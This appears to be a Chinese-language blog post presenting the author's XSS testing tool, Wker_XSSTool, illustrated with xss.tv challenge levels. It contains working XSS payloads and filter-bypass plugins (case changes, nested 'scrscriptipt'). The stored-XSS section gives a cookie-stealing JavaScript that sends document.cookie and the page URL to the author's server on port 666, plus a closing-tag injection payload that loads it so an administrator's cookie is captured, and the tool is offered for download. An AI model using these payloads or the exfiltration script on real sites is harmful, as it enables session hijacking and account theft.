Wker_XSSTool


title: Wker_XSSTool
date: 2020-03-28 06:06:12
tags: 渗透测试
category: 渗透测试

XSS漏洞

这种漏洞相对于其他为例比较大的漏洞来说可能稍显鸡肋了,但是在有的时候却是一种没有办法的办法

相关的检测和利用工具之前说要做,但是一直拖着,昨天有点时间,写了一下午就匆匆写完,有一些细节方面处理的不是很仔细,但是个人感觉使用起来还是没什么问题的。

反射性XSS

这种是可以进行工具检测的,相对而言可以减少很多的体力活,在这里我使用XSS挑戰賽給大家做為一個示例,这个挑战赛分为很多关卡,举出一两个比较有代表性的作为例子。
目前我只做了GET提交方式的,POST提交的暂时没有去做,但是很快也会补上的。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

基本可以确定两个变量输出的位置,根据简单的闭合操作就可以实现弹窗,那么工具如何使用?
首先看一下目录结构:
目录结构

  1. js目录是用来保存我们的木马js的
  2. plugins是用来保存我们的插件的(后面有讲如何编写插件)
  3. PayLoad是用来保存我们的payload的

知道这些以后,我们就使用工具进行检测,进入界面之后,在我们的文本框中键入我们需要检测的URL,这里是第一个需要之后修复的细节,就是我只是简单的做了文本的拼接,所以我们需要将可疑的参数放置在最后,并且无对应的键值。


这个时候我们就要进行检测,点击右边的Button,开始检测,可以来看下效果:

可以看到提供给我们四个payload,那这四个payload到底是如何得到的呢?
首先在Payload.txt文件夹中存在:

<script>alert(/wker/)</script>

这些payload是可以自己添加的。
这样子的一条检测语句,那为什么会出现四个呢?其实很简单,我们仔细观察源代码,你会发现,在第二关存在两个输出我们传入变量的HTML节点:

<h2 align=center>没有找到和test相关的结果.</h2><center>

<input name=keyword  value="test">

这两条,如果我们手动去检测的话呢,第一个需要关注的就是这两个存在输出位置的HTML节点,所以我增加payload的修饰功能,也就是可以帮助你自动的闭合标签,比较智能化的去检测页面的XSS。
那每一个输出点的第二条是什么,又是怎么来的?这个是由插件所提供的功能,其实这里说的插件就是我们自己编写的DLL。现在看这个XSS挑战赛的第六关:


这一关对我们的输入是做了一些检测的,也就是对script进行了一个替换,但是他无法对付大小写的一个绕过,那这个时候使用工具进行检测:

可以看到我们只存在一条了,那另一条哪里去了?其实是因为script的过滤导致我们无法进行注入,但是我嗯是用大小写绕过之后确实可以进行注入的,那么为什么可以进行大小写的替换,就是因为我们的插件,来到plugins的目录下,可以看到:
插件
这样子的一个DLL文件,那么这个DLL文件是如何实现对我们Payload的一个修饰呢?我们查看他的导出函数:

可以看到他有一个导出函数,也就是程序通过调用这个导出函数实现我们的payload修饰。
来看下是怎么书写的:

我会对整个plugins进行一个遍历,对所有的EncodePayload函数的值进行一个保存,在我们进行检测的时候我会调用相对的方法去修饰我们的payload,传给你三个参数,第一个参数是要修饰的payload,第二个参数是用来接收的payload,第三个参数是认为如果存在漏洞,页面中应该存在的文本内容。
这个函数最终实现的就是一个script转化为SCRIPT的效果,所以我们能够成功的绕过第六关的一个检测。
那么如果你想编写自己的插件的话呢,那么你需要在头文件中键入类似于如下的内容:

#ifdef EXAMPLEDLL_EXPORTS
#define EXAMPLEDLL_API extern"C" __declspec(dllexport)
#else
#define EXAMPLEDLL_API extern"C" __declspec(dllimport)
#endif

EXAMPLEDLL_API int EncodePayload(char* SourcePayload,char* EncodePayload,char* FindPayload);

extern"C"是很重要的,这个保证了我可以通过EncodePayload来获得你的地址,__declspec(dllexport)这个保证了导出函数。

插件编写

建议使用MFC的框架来写,因为比较简单一些,要不C++处理这么多char*字符串确实有点麻烦。
那么我们就来实践编写一个插件,来到第七关,这一关就是对我们的script进行一个替换,那么,我们只需要对其简单地进行嵌套就可以实现绕过,那么我们编写插件的思路就是,将payload中的script替换为scrscriptipt就可以实现绕过,那么我们新建一个DLL项目,然后使用上面的宏定义。
然后编写我们的EncodePayload方法:

int EncodePayload(char* SourcePayload,char* EncodePayload,char* FindPayload)
{
	CString source;
	source.Format("%s",SourcePayload);
	source.Replace("script","scrscriptipt");
	strcpy(FindPayload,SourcePayload);
	strcpy(EncodePayload,source.GetBuffer());
	return 0;
}

我这里用了一个Cstring进行了一个中专,比较简单,如果要操作char的话呢有一点小麻烦,其实可以看到也就是简单的文本替换,只是我们要寻找的文本还是我们之前的那个文本!
最后看下我们实现的一个效果:


可以看到我们确实是检测出了那个我们想要的效果!

对外提供了接口之后,你们可以实现base64加密啊这类的一些加密和绕过。

但是在这里需要注意的一点就是我传给你的指针是我已经new了的,但是大小是50个长度,所以你生成的payload不要超过50个字符!否则会溢出的。

存储型XSS

这个就比较实用了,经常用到,之前我都是用XSS平台,但是它里面提供的功能总是很多不能用,而且我觉得他那边也能看到我们打到的cookie,所以我就不是很喜欢,所以我就自己做了一个服务端,也提供给大家使用,后期也提供接口开发,只要你的服务器是对外网开放666端口的就是可以进行连接!
BEEF相对而言迁移有点麻烦,所以我就在检测端写了相对应的存储型XSS服务。
下面给大家做一个示例:
搭建一个简单的靶场,就是用来测试的,存在一个存储型的XSS:


在留言内容中提交我们的payload,那这个payload怎么写呢?我们用Wker_XSSTool的第二个页面,勾选上开始劫持,勾选上之后如果不报错没并且有这样的一个提示,说明服务器开启正常,当然你的防火墙是需要给我开房666端口的。

看到详细信息中心给了我们这样子的一段内容:

请使用类似于:<sCRiPt sRC=http://127.0.0.1:666/WkerJS></sCrIpT> 这样的PayLoad,只有这样Wker_XSSTool才能接收到劫持的信息!

就是说你将你的IP的666端口下的WkerJS作为SRC进行注入Wker_XSSTool就可以进行接受,那么我们的JS到地方再哪里?我们如何配置?
在上面的目录结构到js目录下有个Main.js这个文件,我们看一下他的内容:

var xhr = new XMLHttpRequest();
//var xhr = new ActiveXObject("Microsoft.XMLHTTP");
xhr.open("HEAD", "http://192.168.209.1:666/"+window.location.href+"|--|"+document.cookie, true);
xhr.send(null);

可以看到就是一个简单的数据提交,这里你需要更改这个192.168.209.1,将其改为你服务器的IP,因为只有这样我们才能获取。
payload的构造其实不是很难:

</tExtArEa>'"><sCRiPt sRC=http://192.168.209.1:666/WkerJS></sCrIpT>


提交之后,当我们的管理员打开我们提交的页面之后,我们的服务端就能接受到他的cookie!
下面是示例:

可以看到我们成功的获取到了管理员的信息!

后续

之后我会更新这个程序的,主要是增加许多相对应的功能,因为细节方面没有做的很完美,最近主要是想把我之前做的那个Wker_EXEDebug这个调试工具写的完美一些,不能说跟得上OD,IDA和X64,但是至少也要做到许多他们有的我也要有的功能。

百度云链接:
百度云

提取码:2baw

3 个赞

等过段时间我就把这个小软件给完善起来👌